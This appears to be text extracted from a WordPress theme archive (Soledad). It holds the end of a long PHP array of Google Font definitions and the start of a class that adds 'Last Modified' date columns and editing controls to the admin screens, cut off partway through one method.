			'"Sassy Frass", "regular", handwriting'                                                                                                                                      => 'Sassy Frass',
			'"Satisfy", "regular", handwriting'                                                                                                                                          => 'Satisfy',
			'"Sawarabi Gothic", "regular", sans-serif'                                                                                                                                   => 'Sawarabi Gothic',
			'"Sawarabi Mincho", "regular", serif'                                                                                                                                        => 'Sawarabi Mincho',
			'"Scada", "regular:italic:700:700italic", sans-serif'                                                                                                                        => 'Scada',
			'"Scheherazade New", "regular:500:600:700", serif'                                                                                                                           => 'Scheherazade New',
			'"Schibsted Grotesk", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                    => 'Schibsted Grotesk',
			'"Schoolbell", "regular", handwriting'                                                                                                                                       => 'Schoolbell',
			'"Scope One", "regular", serif'                                                                                                                                              => 'Scope One',
			'"Seaweed Script", "regular", display'                                                                                                                                       => 'Seaweed Script',
			'"Secular One", "regular", sans-serif'                                                                                                                                       => 'Secular One',
			'"Sedan", "regular:italic", serif'                                                                                                                                           => 'Sedan',
			'"Sedan SC", "regular", serif'                                                                                                                                               => 'Sedan SC',
			'"Sedgwick Ave", "regular", handwriting'                                                                                                                                     => 'Sedgwick Ave',
			'"Sedgwick Ave Display", "regular", handwriting'                                                                                                                             => 'Sedgwick Ave Display',
			'"Sen", "regular:500:600:700:800", sans-serif'                                                                                                                               => 'Sen',
			'"Send Flowers", "regular", handwriting'                                                                                                                                     => 'Send Flowers',
			'"Sevillana", "regular", display'                                                                                                                                            => 'Sevillana',
			'"Seymour One", "regular", sans-serif'                                                                                                                                       => 'Seymour One',
			'"Shadows Into Light", "regular", handwriting'                                                                                                                               => 'Shadows Into Light',
			'"Shadows Into Light Two", "regular", handwriting'                                                                                                                           => 'Shadows Into Light Two',
			'"Shalimar", "regular", handwriting'                                                                                                                                         => 'Shalimar',
			'"Shantell Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", display'                                                           => 'Shantell Sans',
			'"Shanti", "regular", sans-serif'                                                                                                                                            => 'Shanti',
			'"Share", "regular:italic:700:700italic", sans-serif'                                                                                                                        => 'Share',
			'"Share Tech", "regular", sans-serif'                                                                                                                                        => 'Share Tech',
			'"Share Tech Mono", "regular", monospace'                                                                                                                                    => 'Share Tech Mono',
			'"Shippori Antique", "regular", sans-serif'                                                                                                                                  => 'Shippori Antique',
			'"Shippori Antique B1", "regular", sans-serif'                                                                                                                               => 'Shippori Antique B1',
			'"Shippori Mincho", "regular:500:600:700:800", serif'                                                                                                                        => 'Shippori Mincho',
			'"Shippori Mincho B1", "regular:500:600:700:800", serif'                                                                                                                     => 'Shippori Mincho B1',
			'"Shizuru", "regular", display'                                                                                                                                              => 'Shizuru',
			'"Shojumaru", "regular", display'                                                                                                                                            => 'Shojumaru',
			'"Short Stack", "regular", handwriting'                                                                                                                                      => 'Short Stack',
			'"Shrikhand", "regular", display'                                                                                                                                            => 'Shrikhand',
			'"Siemreap", "regular", sans-serif'                                                                                                                                          => 'Siemreap',
			'"Sigmar", "regular", display'                                                                                                                                               => 'Sigmar',
			'"Sigmar One", "regular", display'                                                                                                                                           => 'Sigmar One',
			'"Signika", "300:regular:500:600:700", sans-serif'                                                                                                                           => 'Signika',
			'"Signika Negative", "300:regular:500:600:700", sans-serif'                                                                                                                  => 'Signika Negative',
			'"Silkscreen", "regular:700", display'                                                                                                                                       => 'Silkscreen',
			'"Simonetta", "regular:italic:900:900italic", display'                                                                                                                       => 'Simonetta',
			'"Single Day", "regular", display'                                                                                                                                           => 'Single Day',
			'"Sintony", "regular:700", sans-serif'                                                                                                                                       => 'Sintony',
			'"Sirin Stencil", "regular", display'                                                                                                                                        => 'Sirin Stencil',
			'"Six Caps", "regular", sans-serif'                                                                                                                                          => 'Six Caps',
			'"Sixtyfour", "regular", monospace'                                                                                                                                          => 'Sixtyfour',
			'"Skranji", "regular:700", display'                                                                                                                                          => 'Skranji',
			'"Slabo 13px", "regular", serif'                                                                                                                                             => 'Slabo 13px',
			'"Slabo 27px", "regular", serif'                                                                                                                                             => 'Slabo 27px',
			'"Slackey", "regular", display'                                                                                                                                              => 'Slackey',
			'"Slackside One", "regular", handwriting'                                                                                                                                    => 'Slackside One',
			'"Smokum", "regular", display'                                                                                                                                               => 'Smokum',
			'"Smooch", "regular", handwriting'                                                                                                                                           => 'Smooch',
			'"Smooch Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Smooch Sans',
			'"Smythe", "regular", display'                                                                                                                                               => 'Smythe',
			'"Sniglet", "regular:800", display'                                                                                                                                          => 'Sniglet',
			'"Snippet", "regular", sans-serif'                                                                                                                                           => 'Snippet',
			'"Snowburst One", "regular", display'                                                                                                                                        => 'Snowburst One',
			'"Sofadi One", "regular", display'                                                                                                                                           => 'Sofadi One',
			'"Sofia", "regular", handwriting'                                                                                                                                            => 'Sofia',
			'"Sofia Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Sofia Sans',
			'"Sofia Sans Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'       => 'Sofia Sans Condensed',
			'"Sofia Sans Extra Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' => 'Sofia Sans Extra Condensed',
			'"Sofia Sans Semi Condensed", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'  => 'Sofia Sans Semi Condensed',
			'"Solitreo", "regular", handwriting'                                                                                                                                         => 'Solitreo',
			'"Solway", "300:regular:500:700:800", serif'                                                                                                                                 => 'Solway',
			'"Sometype Mono", "regular:500:600:700:italic:500italic:600italic:700italic", monospace'                                                                                     => 'Sometype Mono',
			'"Song Myung", "regular", serif'                                                                                                                                             => 'Song Myung',
			'"Sono", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                      => 'Sono',
			'"Sonsie One", "regular", display'                                                                                                                                           => 'Sonsie One',
			'"Sora", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                                  => 'Sora',
			'"Sorts Mill Goudy", "regular:italic", serif'                                                                                                                                => 'Sorts Mill Goudy',
			'"Source Code Pro", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                           => 'Source Code Pro',
			'"Source Sans 3", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                            => 'Source Sans 3',
			'"Source Serif 4", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                => 'Source Serif 4',
			'"Space Grotesk", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Space Grotesk',
			'"Space Mono", "regular:italic:700:700italic", monospace'                                                                                                                    => 'Space Mono',
			'"Special Elite", "regular", display'                                                                                                                                        => 'Special Elite',
			'"Spectral", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", serif'                                                    => 'Spectral',
			'"Spectral SC", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", serif'                                                 => 'Spectral SC',
			'"Spicy Rice", "regular", display'                                                                                                                                           => 'Spicy Rice',
			'"Spinnaker", "regular", sans-serif'                                                                                                                                         => 'Spinnaker',
			'"Spirax", "regular", display'                                                                                                                                               => 'Spirax',
			'"Splash", "regular", handwriting'                                                                                                                                           => 'Splash',
			'"Spline Sans", "300:regular:500:600:700", sans-serif'                                                                                                                       => 'Spline Sans',
			'"Spline Sans Mono", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", monospace'                                                                    => 'Spline Sans Mono',
			'"Squada One", "regular", display'                                                                                                                                           => 'Squada One',
			'"Square Peg", "regular", handwriting'                                                                                                                                       => 'Square Peg',
			'"Sree Krushnadevaraya", "regular", serif'                                                                                                                                   => 'Sree Krushnadevaraya',
			'"Sriracha", "regular", handwriting'                                                                                                                                         => 'Sriracha',
			'"Srisakdi", "regular:700", display'                                                                                                                                         => 'Srisakdi',
			'"Staatliches", "regular", display'                                                                                                                                          => 'Staatliches',
			'"Stalemate", "regular", handwriting'                                                                                                                                        => 'Stalemate',
			'"Stalinist One", "regular", display'                                                                                                                                        => 'Stalinist One',
			'"Stardos Stencil", "regular:700", display'                                                                                                                                  => 'Stardos Stencil',
			'"Stick", "regular", sans-serif'                                                                                                                                             => 'Stick',
			'"Stick No Bills", "200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Stick No Bills',
			'"Stint Ultra Condensed", "regular", serif'                                                                                                                                  => 'Stint Ultra Condensed',
			'"Stint Ultra Expanded", "regular", serif'                                                                                                                                   => 'Stint Ultra Expanded',
			'"Stoke", "300:regular", serif'                                                                                                                                              => 'Stoke',
			'"Strait", "regular", sans-serif'                                                                                                                                            => 'Strait',
			'"Style Script", "regular", handwriting'                                                                                                                                     => 'Style Script',
			'"Stylish", "regular", sans-serif'                                                                                                                                           => 'Stylish',
			'"Sue Ellen Francisco", "regular", handwriting'                                                                                                                              => 'Sue Ellen Francisco',
			'"Suez One", "regular", serif'                                                                                                                                               => 'Suez One',
			'"Sulphur Point", "300:regular:700", sans-serif'                                                                                                                             => 'Sulphur Point',
			'"Sumana", "regular:700", serif'                                                                                                                                             => 'Sumana',
			'"Sunflower", "300:500:700", sans-serif'                                                                                                                                     => 'Sunflower',
			'"Sunshiney", "regular", handwriting'                                                                                                                                        => 'Sunshiney',
			'"Supermercado One", "regular", display'                                                                                                                                     => 'Supermercado One',
			'"Sura", "regular:700", serif'                                                                                                                                               => 'Sura',
			'"Suranna", "regular", serif'                                                                                                                                                => 'Suranna',
			'"Suravaram", "regular", serif'                                                                                                                                              => 'Suravaram',
			'"Suwannaphum", "100:300:regular:700:900", serif'                                                                                                                            => 'Suwannaphum',
			'"Swanky and Moo Moo", "regular", handwriting'                                                                                                                               => 'Swanky and Moo Moo',
			'"Syncopate", "regular:700", sans-serif'                                                                                                                                     => 'Syncopate',
			'"Syne", "regular:500:600:700:800", sans-serif'                                                                                                                              => 'Syne',
			'"Syne Mono", "regular", monospace'                                                                                                                                          => 'Syne Mono',
			'"Syne Tactile", "regular", display'                                                                                                                                         => 'Syne Tactile',
			'"Tac One", "regular", sans-serif'                                                                                                                                           => 'Tac One',
			'"Tai Heritage Pro", "regular:700", serif'                                                                                                                                   => 'Tai Heritage Pro',
			'"Tajawal", "200:300:regular:500:700:800:900", sans-serif'                                                                                                                   => 'Tajawal',
			'"Tangerine", "regular:700", handwriting'                                                                                                                                    => 'Tangerine',
			'"Tapestry", "regular", handwriting'                                                                                                                                         => 'Tapestry',
			'"Taprom", "regular", display'                                                                                                                                               => 'Taprom',
			'"Tauri", "regular", sans-serif'                                                                                                                                             => 'Tauri',
			'"Taviraj", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                         => 'Taviraj',
			'"Teachers", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", sans-serif'                                                                           => 'Teachers',
			'"Teko", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Teko',
			'"Tektur", "regular:500:600:700:800:900", display'                                                                                                                           => 'Tektur',
			'"Telex", "regular", sans-serif'                                                                                                                                             => 'Telex',
			'"Tenali Ramakrishna", "regular", sans-serif'                                                                                                                                => 'Tenali Ramakrishna',
			'"Tenor Sans", "regular", sans-serif'                                                                                                                                        => 'Tenor Sans',
			'"Text Me One", "regular", sans-serif'                                                                                                                                       => 'Text Me One',
			'"Texturina", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                       => 'Texturina',
			'"Thasadith", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Thasadith',
			'"The Girl Next Door", "regular", handwriting'                                                                                                                               => 'The Girl Next Door',
			'"The Nautigal", "regular:700", handwriting'                                                                                                                                 => 'The Nautigal',
			'"Tienne", "regular:700:900", serif'                                                                                                                                         => 'Tienne',
			'"Tillana", "regular:500:600:700:800", display'                                                                                                                              => 'Tillana',
			'"Tilt Neon", "regular", display'                                                                                                                                            => 'Tilt Neon',
			'"Tilt Prism", "regular", display'                                                                                                                                           => 'Tilt Prism',
			'"Tilt Warp", "regular", display'                                                                                                                                            => 'Tilt Warp',
			'"Timmana", "regular", sans-serif'                                                                                                                                           => 'Timmana',
			'"Tinos", "regular:italic:700:700italic", serif'                                                                                                                             => 'Tinos',
			'"Tiny5", "regular", sans-serif'                                                                                                                                             => 'Tiny5',
			'"Tiro Bangla", "regular:italic", serif'                                                                                                                                     => 'Tiro Bangla',
			'"Tiro Devanagari Hindi", "regular:italic", serif'                                                                                                                           => 'Tiro Devanagari Hindi',
			'"Tiro Devanagari Marathi", "regular:italic", serif'                                                                                                                         => 'Tiro Devanagari Marathi',
			'"Tiro Devanagari Sanskrit", "regular:italic", serif'                                                                                                                        => 'Tiro Devanagari Sanskrit',
			'"Tiro Gurmukhi", "regular:italic", serif'                                                                                                                                   => 'Tiro Gurmukhi',
			'"Tiro Kannada", "regular:italic", serif'                                                                                                                                    => 'Tiro Kannada',
			'"Tiro Tamil", "regular:italic", serif'                                                                                                                                      => 'Tiro Tamil',
			'"Tiro Telugu", "regular:italic", serif'                                                                                                                                     => 'Tiro Telugu',
			'"Titan One", "regular", display'                                                                                                                                            => 'Titan One',
			'"Titillium Web", "200:200italic:300:300italic:regular:italic:600:600italic:700:700italic:900", sans-serif'                                                                  => 'Titillium Web',
			'"Tomorrow", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                   => 'Tomorrow',
			'"Tourney", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                       => 'Tourney',
			'"Trade Winds", "regular", display'                                                                                                                                          => 'Trade Winds',
			'"Train One", "regular", display'                                                                                                                                            => 'Train One',
			'"Trirong", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                         => 'Trirong',
			'"Trispace", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                              => 'Trispace',
			'"Trocchi", "regular", serif'                                                                                                                                                => 'Trocchi',
			'"Trochut", "regular:italic:700", display'                                                                                                                                   => 'Trochut',
			'"Truculenta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Truculenta',
			'"Trykker", "regular", serif'                                                                                                                                                => 'Trykker',
			'"Tsukimi Rounded", "300:regular:500:600:700", sans-serif'                                                                                                                   => 'Tsukimi Rounded',
			'"Tulpen One", "regular", display'                                                                                                                                           => 'Tulpen One',
			'"Turret Road", "200:300:regular:500:700:800", display'                                                                                                                      => 'Turret Road',
			'"Twinkle Star", "regular", handwriting'                                                                                                                                     => 'Twinkle Star',
			'"Ubuntu", "300:300italic:regular:italic:500:500italic:700:700italic", sans-serif'                                                                                           => 'Ubuntu',
			'"Ubuntu Condensed", "regular", sans-serif'                                                                                                                                  => 'Ubuntu Condensed',
			'"Ubuntu Mono", "regular:italic:700:700italic", monospace'                                                                                                                   => 'Ubuntu Mono',
			'"Ubuntu Sans", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                              => 'Ubuntu Sans',
			'"Ubuntu Sans Mono", "regular:500:600:700:italic:500italic:600italic:700italic", monospace'                                                                                  => 'Ubuntu Sans Mono',
			'"Uchen", "regular", serif'                                                                                                                                                  => 'Uchen',
			'"Ultra", "regular", serif'                                                                                                                                                  => 'Ultra',
			'"Unbounded", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Unbounded',
			'"Uncial Antiqua", "regular", display'                                                                                                                                       => 'Uncial Antiqua',
			'"Underdog", "regular", display'                                                                                                                                             => 'Underdog',
			'"Unica One", "regular", display'                                                                                                                                            => 'Unica One',
			'"UnifrakturCook", "700", display'                                                                                                                                           => 'UnifrakturCook',
			'"UnifrakturMaguntia", "regular", display'                                                                                                                                   => 'UnifrakturMaguntia',
			'"Unkempt", "regular:700", display'                                                                                                                                          => 'Unkempt',
			'"Unlock", "regular", display'                                                                                                                                               => 'Unlock',
			'"Unna", "regular:italic:700:700italic", serif'                                                                                                                              => 'Unna',
			'"Updock", "regular", handwriting'                                                                                                                                           => 'Updock',
			'"Urbanist", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Urbanist',
			'"VT323", "regular", monospace'                                                                                                                                              => 'VT323',
			'"Vampiro One", "regular", display'                                                                                                                                          => 'Vampiro One',
			'"Varela", "regular", sans-serif'                                                                                                                                            => 'Varela',
			'"Varela Round", "regular", sans-serif'                                                                                                                                      => 'Varela Round',
			'"Varta", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Varta',
			'"Vast Shadow", "regular", serif'                                                                                                                                            => 'Vast Shadow',
			'"Vazirmatn", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Vazirmatn',
			'"Vesper Libre", "regular:500:700:900", serif'                                                                                                                               => 'Vesper Libre',
			'"Viaoda Libre", "regular", display'                                                                                                                                         => 'Viaoda Libre',
			'"Vibes", "regular", display'                                                                                                                                                => 'Vibes',
			'"Vibur", "regular", handwriting'                                                                                                                                            => 'Vibur',
			'"Victor Mono", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", monospace'                                             => 'Victor Mono',
			'"Vidaloka", "regular", serif'                                                                                                                                               => 'Vidaloka',
			'"Viga", "regular", sans-serif'                                                                                                                                              => 'Viga',
			'"Vina Sans", "regular", display'                                                                                                                                            => 'Vina Sans',
			'"Voces", "regular", sans-serif'                                                                                                                                             => 'Voces',
			'"Volkhov", "regular:italic:700:700italic", serif'                                                                                                                           => 'Volkhov',
			'"Vollkorn", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                  => 'Vollkorn',
			'"Vollkorn SC", "regular:600:700:900", serif'                                                                                                                                => 'Vollkorn SC',
			'"Voltaire", "regular", sans-serif'                                                                                                                                          => 'Voltaire',
			'"Vujahday Script", "regular", handwriting'                                                                                                                                  => 'Vujahday Script',
			'"Waiting for the Sunrise", "regular", handwriting'                                                                                                                          => 'Waiting for the Sunrise',
			'"Wallpoet", "regular", display'                                                                                                                                             => 'Wallpoet',
			'"Walter Turncoat", "regular", handwriting'                                                                                                                                  => 'Walter Turncoat',
			'"Warnes", "regular", display'                                                                                                                                               => 'Warnes',
			'"Water Brush", "regular", handwriting'                                                                                                                                      => 'Water Brush',
			'"Waterfall", "regular", handwriting'                                                                                                                                        => 'Waterfall',
			'"Wavefont", "100:200:300:regular:500:600:700:800:900", display'                                                                                                             => 'Wavefont',
			'"Wellfleet", "regular", serif'                                                                                                                                              => 'Wellfleet',
			'"Wendy One", "regular", sans-serif'                                                                                                                                         => 'Wendy One',
			'"Whisper", "regular", handwriting'                                                                                                                                          => 'Whisper',
			'"WindSong", "regular:500", handwriting'                                                                                                                                     => 'WindSong',
			'"Wire One", "regular", sans-serif'                                                                                                                                          => 'Wire One',
			'"Wittgenstein", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                              => 'Wittgenstein',
			'"Wix Madefor Display", "regular:500:600:700:800", sans-serif'                                                                                                               => 'Wix Madefor Display',
			'"Wix Madefor Text", "regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                                                   => 'Wix Madefor Text',
			'"Work Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                  => 'Work Sans',
			'"Workbench", "regular", monospace'                                                                                                                                          => 'Workbench',
			'"Xanh Mono", "regular:italic", monospace'                                                                                                                                   => 'Xanh Mono',
			'"Yaldevi", "200:300:regular:500:600:700", sans-serif'                                                                                                                       => 'Yaldevi',
			'"Yanone Kaffeesatz", "200:300:regular:500:600:700", sans-serif'                                                                                                             => 'Yanone Kaffeesatz',
			'"Yantramanav", "100:300:regular:500:700:900", sans-serif'                                                                                                                   => 'Yantramanav',
			'"Yarndings 12", "regular", display'                                                                                                                                         => 'Yarndings 12',
			'"Yarndings 12 Charted", "regular", display'                                                                                                                                 => 'Yarndings 12 Charted',
			'"Yarndings 20", "regular", display'                                                                                                                                         => 'Yarndings 20',
			'"Yarndings 20 Charted", "regular", display'                                                                                                                                 => 'Yarndings 20 Charted',
			'"Yatra One", "regular", display'                                                                                                                                            => 'Yatra One',
			'"Yellowtail", "regular", handwriting'                                                                                                                                       => 'Yellowtail',
			'"Yeon Sung", "regular", display'                                                                                                                                            => 'Yeon Sung',
			'"Yeseva One", "regular", display'                                                                                                                                           => 'Yeseva One',
			'"Yesteryear", "regular", handwriting'                                                                                                                                       => 'Yesteryear',
			'"Yomogi", "regular", handwriting'                                                                                                                                           => 'Yomogi',
			'"Young Serif", "regular", serif'                                                                                                                                            => 'Young Serif',
			'"Yrsa", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                                    => 'Yrsa',
			'"Ysabeau", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Ysabeau',
			'"Ysabeau Infant", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Ysabeau Infant',
			'"Ysabeau Office", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Ysabeau Office',
			'"Ysabeau SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Ysabeau SC',
			'"Yuji Boku", "regular", serif'                                                                                                                                              => 'Yuji Boku',
			'"Yuji Hentaigana Akari", "regular", handwriting'                                                                                                                            => 'Yuji Hentaigana Akari',
			'"Yuji Hentaigana Akebono", "regular", handwriting'                                                                                                                          => 'Yuji Hentaigana Akebono',
			'"Yuji Mai", "regular", serif'                                                                                                                                               => 'Yuji Mai',
			'"Yuji Syuku", "regular", serif'                                                                                                                                             => 'Yuji Syuku',
			'"Yusei Magic", "regular", sans-serif'                                                                                                                                       => 'Yusei Magic',
			'"ZCOOL KuaiLe", "regular", sans-serif'                                                                                                                                      => 'ZCOOL KuaiLe',
			'"ZCOOL QingKe HuangYou", "regular", sans-serif'                                                                                                                             => 'ZCOOL QingKe HuangYou',
			'"ZCOOL XiaoWei", "regular", sans-serif'                                                                                                                                     => 'ZCOOL XiaoWei',
			'"Zain", "200:300:regular:700:800:900", sans-serif'                                                                                                                          => 'Zain',
			'"Zen Antique", "regular", serif'                                                                                                                                            => 'Zen Antique',
			'"Zen Antique Soft", "regular", serif'                                                                                                                                       => 'Zen Antique Soft',
			'"Zen Dots", "regular", display'                                                                                                                                             => 'Zen Dots',
			'"Zen Kaku Gothic Antique", "300:regular:500:700:900", sans-serif'                                                                                                           => 'Zen Kaku Gothic Antique',
			'"Zen Kaku Gothic New", "300:regular:500:700:900", sans-serif'                                                                                                               => 'Zen Kaku Gothic New',
			'"Zen Kurenaido", "regular", sans-serif'                                                                                                                                     => 'Zen Kurenaido',
			'"Zen Loop", "regular:italic", display'                                                                                                                                      => 'Zen Loop',
			'"Zen Maru Gothic", "300:regular:500:700:900", sans-serif'                                                                                                                   => 'Zen Maru Gothic',
			'"Zen Old Mincho", "regular:500:600:700:900", serif'                                                                                                                         => 'Zen Old Mincho',
			'"Zen Tokyo Zoo", "regular", display'                                                                                                                                        => 'Zen Tokyo Zoo',
			'"Zeyada", "regular", handwriting'                                                                                                                                           => 'Zeyada',
			'"Zhi Mang Xing", "regular", handwriting'                                                                                                                                    => 'Zhi Mang Xing',
			'"Zilla Slab", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                              => 'Zilla Slab',
			'"Zilla Slab Highlight", "regular:700", serif'                                                                                                                               => 'Zilla Slab Highlight',
		];

		return $penci_soledad_google_fonts;
	}
}PK     N\/l!j  !j    inc/mod-date.phpnu [        <?php

class PenciModDate {

	/**
	 * Register functions.
	 */
	public function __construct() {
		add_action( 'post_submitbox_misc_actions', [ $this, 'submitbox_edit' ], 5 );
		add_action( 'quick_edit_custom_box', [ $this, 'quick_edit' ], 10, 2 );
		add_action( 'bulk_edit_custom_box', [ $this, 'bulk_edit' ], 10, 2 );
		add_action( 'wp_ajax_process_bulk_edit', [ $this, 'bulk_save' ] );
		add_filter( 'wp_insert_post_data', [ $this, 'update_data' ], 9999, 2 );
		add_action( 'admin_init', function () {
			add_action( 'save_post', [ $this, 'save_post' ] );
			add_filter( 'post_updated_messages', [ $this, 'messages' ] );
		} );
		add_action( 'enqueue_block_editor_assets', [ $this, 'assets' ] );
		add_action( 'init', [ $this, 'register_meta' ] );
		if ( get_theme_mod( 'penci_lastmodified_pcol' ) ) {
			add_action( 'admin_init', [ $this, 'generate_column' ] );
		}
		add_action( 'admin_enqueue_scripts', [ $this, 'files' ] );

		$post_types = get_post_types( [ 'show_in_rest' => true ] );
		foreach ( $post_types as $post_type ) {
			add_filter( "rest_pre_insert_$post_type", [ $this, 'modified_params' ], 99, 2 );
		}
	}

	public function files( $hook ) {
		if ( 'edit.php' === $hook ) {

			wp_enqueue_script( 'pcmdate-edit', PENCI_SOLEDAD_URL . '/js/admin-edit.js', [ 'jquery' ], PENCI_SOLEDAD_VERSION, true );

			wp_localize_script( 'pcmdate-edit', 'pcmdate_edit_L10n', [
				'ajaxurl'  => admin_url( 'admin-ajax.php' ),
				'security' => wp_create_nonce( 'pcmdate_edit_nonce' ),
			] );
		}
	}

	public function generate_column() {
		// get all post types
		$post_types = get_post_types( $this->do_filter( 'admin_column_post_types', [] ) );
		if ( ! empty( $post_types ) ) {
			foreach ( $post_types as $post_type ) {
				add_filter( "manage_edit-{$post_type}_columns", [ $this, 'column_title' ] );
				add_action( "manage_edit-{$post_type}_sortable_columns", [ $this, 'column_sortable' ], 10, 2 );
				add_filter( "manage_{$post_type}_posts_columns", [ $this, 'column_title' ] );
				add_filter( "manage_{$post_type}_sortable_columns", [ $this, 'column_sortable' ], 10, 2 );
				add_action( "manage_{$post_type}_posts_custom_column", [ $this, 'column_data' ], 10, 2 );
			}
		}
	}

	public function column_sortable( $column ) {
		$column['lastmodified'] = 'modified';

		return $column;
	}

	public function column_data( $column, $post_id ) {
		if ( 'lastmodified' === $column ) {
			$post = get_post( $post_id );

			$get_df     = get_option( 'date_format' );
			$get_tf     = get_option( 'time_format' );
			$m_orig     = get_post_field( 'post_modified', $post->ID, 'raw' );
			$p_meta     = get_post_meta( $post->ID, '_lmt_disableupdate', true );
			$modified   = date_i18n( $this->do_filter( 'admin_column_datetime_format', $get_df . ' \a\t ' . $get_tf, $post->ID ), strtotime( $m_orig ) );
			$mod_format = date( 'M d, Y H:i:s', strtotime( $m_orig ) );
			$disabled   = ( ! empty( $p_meta ) ) ? 'yes' : 'no';

			$html = $modified;
			if ( get_the_modified_author() ) {
				$html .= '<br>' . __( 'by', 'soledad' ) . ' <strong>' . esc_html( get_the_modified_author() ) . '</strong>';
			}
			if ( ! in_array( $post->post_status, [ 'auto-draft', 'future' ] ) ) {
				if ( $p_meta == 'yes' ) {
					$html .= ' <span class="pcmdate-lock dashicons dashicons-lock" title="' . esc_attr__( 'Modified date time update is disabled.', 'soledad' ) . '" style="font-size:16px; padding-top: 3px;"></span>';
				}
				$html .= '<span class="pcmdate-hidden-date-format" style="display: none;">' . esc_html( $mod_format ) . '</span>';
				$html .= '<span class="pcmdate-hidden-post-modified" style="display: none;">' . esc_html( $post->post_modified ) . '</span>';
				$html .= '<span class="pcmdate-hidden-disabled" style="display: none;">' . esc_html( $disabled ) . '</span>';
				$html .= '<span class="pcmdate-hidden-post-type" style="display: none;">' . esc_html( $post->post_type ) . '</span>';
			}
			$html .= '<span class="pcmdate-hidden-status" style="display: none;">' . esc_html( $post->post_status ) . '</span>';

			echo $html;
		}
	}

	public function column_title( $column ) {
		$column['lastmodified'] = __( 'Last Modified', 'soledad' );

		return $column;
	}

	protected function filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
		return \add_filter( $tag, [ $this, $function_to_add ], $priority, $accepted_args );
	}

	public function register_meta() {
		register_meta(
			'post',
			'_lmt_disableupdate',
			[
				'show_in_rest'      => true,
				'type'              => 'string',
				'single'            => true,
				'sanitize_callback' => 'sanitize_text_field',
				'auth_callback'     => function () {
					return current_user_can( 'edit_posts' );
				},
			]
		);

		register_meta(
			'post',
			'_lmt_disable',
			[
				'show_in_rest'      => true,
				'type'              => 'string',
				'single'            => true,
				'sanitize_callback' => 'sanitize_text_field',
				'auth_callback'     => function () {
					return current_user_can( 'edit_posts' );
				},
			]
		);
	}

	public function modified_params( $prepared_post, $request ) {
		if ( 'PUT' !== $request->get_method() ) {
			return $prepared_post;
		}

		$params = $request->get_params();

		if ( isset( $params['modified'] ) ) {
			$prepared_post->pcmdate_modified_rest = $params['modified'];
		}

		if ( isset( $params['meta']['_lmt_disableupdate'] ) ) {
			$prepared_post->pcmdate_lockmodifiedupdate = $params['meta']['_lmt_disableupdate'];
		}

		return $prepared_post;
	}

	public function assets() {
		global $post;

		if ( ! $post instanceof \WP_Post ) {
			return; // load assets only in post edit screen.
		}

		$asset_file = include( PENCI_SOLEDAD_DIR . '/inc/block-editor/build/index.asset.php' );

